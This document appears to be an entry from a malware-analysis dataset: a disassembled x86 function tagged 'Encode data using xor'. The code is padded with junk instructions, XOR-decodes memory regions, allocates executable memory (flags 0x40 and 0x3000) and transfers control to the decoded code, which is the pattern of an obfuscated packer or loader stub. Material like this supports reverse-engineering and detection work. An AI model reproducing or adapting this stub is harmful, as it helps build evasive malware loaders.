Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x22923cd1
not eax
or edx, eax
mov edx, eax
popal
not eax
mov eax, 0x48b5868e
mov edx, 0
mov edi, ebx
add eax, ecx
sub ecx, 1
mov esi, edi
or ecx, eax
or ecx, eax
mov ebx, esi
mov ecx, 0xcc436e4e
add ecx, ecx
inc edx
or ecx, eax
mov eax, 0x6cdf3943
mov eax, ecx
cmp edx, 0x1002fb1
jne 0xa789c5
mov eax, ecx
sub eax, ecx
and eax, eax
mov eax, 0x23e9c57b
and edx, edx
sub eax, 0xac60c797
mov esi, 0xa78796
sub ecx, 0x48f58bd5
inc ecx
or eax, ecx
mov ebx, 0xa7898a
not eax
or edi, eax
mov edx, dword [esi]
add eax, 0xd40cfe57
add eax, eax
and edx, 0xff
add ecx, eax
mov edi, 0x10e56fe2
add edi, 0x5e4aec68
xor dword [ebx], edx
mov edi, eax
or eax, eax
sub edi, ecx
inc ebx
or edi, eax
mov ecx, eax
sub edi, 1
inc esi
and eax, edi
mov edi, 0x5a27fbfa
inc edi
cmp ebx, entry0
jl 0xa78a1e
sub eax, 0x69792aca
mov eax, 0xb1b84392
or ecx, ecx
dec ecx
sub edi, ecx
sub eax, ecx
dec edx
inc esi
mov edi, 0xa7898e
not ebx
dec ecx
mov edi, dword [edi]
not ebx
add ecx, 1
mov edi, dword [edi]
and edx, ebx
sub ecx, 1
inc ebx
push edi
add edx, 1
add esi, 0xe4fd1334
mov edi, 0xa7898a
add edx, esi
sub edx, ecx
add ecx, 0x1b55d1d5
mov edi, dword [edi]
inc esi
and edx, ecx
mov edi, dword [edi]
sub ebx, ecx
dec ebx
mov ebx, 0x8544248b
sub esp, 4
mov dword [esp], 0xa78992
dec ebx
dec edx
call edi
mov esi, 0xa25b85af
add ebx, 1
sub edx, 1
pop edi
sub ebx, 1
add ecx, ecx
push 0xa7899f
not ecx
or esi, ebx
push eax
mov ecx, 0x4b2c2e3e
and ebx, ebx
call edi
mov ecx, 0x8c8e4d0c
not ecx
push 0x40
dec esi
or ebx, ebx
push 0x3000
inc edx
add ecx, edx
sub esp, 4
mov dword [esp], 0x20000f6c
inc ebx
or ecx, esi
sub ebx, 0xc4c8d5c7
push 0
add esi, 0x941efc1a
sub edx, esi
dec ebx
call eax
mov edx, 0x7678ce2f
sub ecx, esi
add eax, 0x20000ec5
mov ebx, esi
sub esi, ecx
sub esi, 0x1affa24e
mov edi, 0xba56d020
and ecx, edx
not ebx
not esi
mov dword [eax], edi
not ecx
sub ebx, 1
mov edi, dword [eax]
not esi
mov ebx, 0x7c78d1c0
sub edx, 0x658c111e
cmp edi, 0xba56d020
je 0xa78b7e
mov edx, 0
mov ebx, dword [edx]
dec edx
sub edx, 1
mov esi, edx
not ebx
mov edx, 0x5d87f794
dec eax
and eax, edx
mov esi, section..pdata
sub edx, 0x3d3645cf
dec edx
dec eax
mov edi, 0xa78795
add edx, 0xc932537b
sub edx, 1
mov ebx, 0
sub eax, edx
and edx, eax
mov ecx, 0xa78796
or edx, eax
not eax
lea ecx, [ecx + ebx]
dec eax
mov edx, 0xb303b76f
inc edx
mov ecx, dword [ecx]
and eax, edx
add eax, edx
mov edx, 0x59af048
and ecx, 0xff
or edx, edx
inc edx
not eax
inc ebx
dec eax
mov eax, 0xfea30bb
and eax, edx
cmp ebx, 0x1f4
jne 0xa78bf7
mov ebx, 0
and eax, edx
add edx, 0x20735d2e
and eax, edx
not edx
or edx, edx
xor dword [esi], ecx
inc eax
or edx, edx
and edx, edx
add esi, 2
and eax, edx
dec eax
cmp esi, edi
jl 0xa78bb8
and eax, edx
mov edx, eax
mov edx, eax
mov eax, 0xe52fb6b3
or eax, edx
mov ecx, section..pdata
add edi, 0xef2f898
mov edi, 0x8eaf07ca
add edi, 0xdd86f1dc
mov edx, section..pdata
or esi, edi
add edi, esi
mov ebx, 0xa78795
and esi, edi
dec esi
mov eax, 0
add edi, 0xd88470a3
mov esi, edi
or esi, edi
mov al, byte [edx]
or edi, edi
sub esi, 0x44c5a71
mov edi, 0x1129a7b8
mov byte [ecx], al
and edi, esi
mov edi, esi
sub edi, 1
inc ecx
not edi
mov esi, edi
add edx, 2
not edi
inc esi
and esi, esi
cmp edx, ebx
jle 0xa78c60
and edi, edi
or esi, edi
and edi, esi
inc edx
dec eax
add eax, 1
sub esp, 4
mov dword [esp], 0x8dc6a0
mov eax, 0x4704efd
inc eax
ret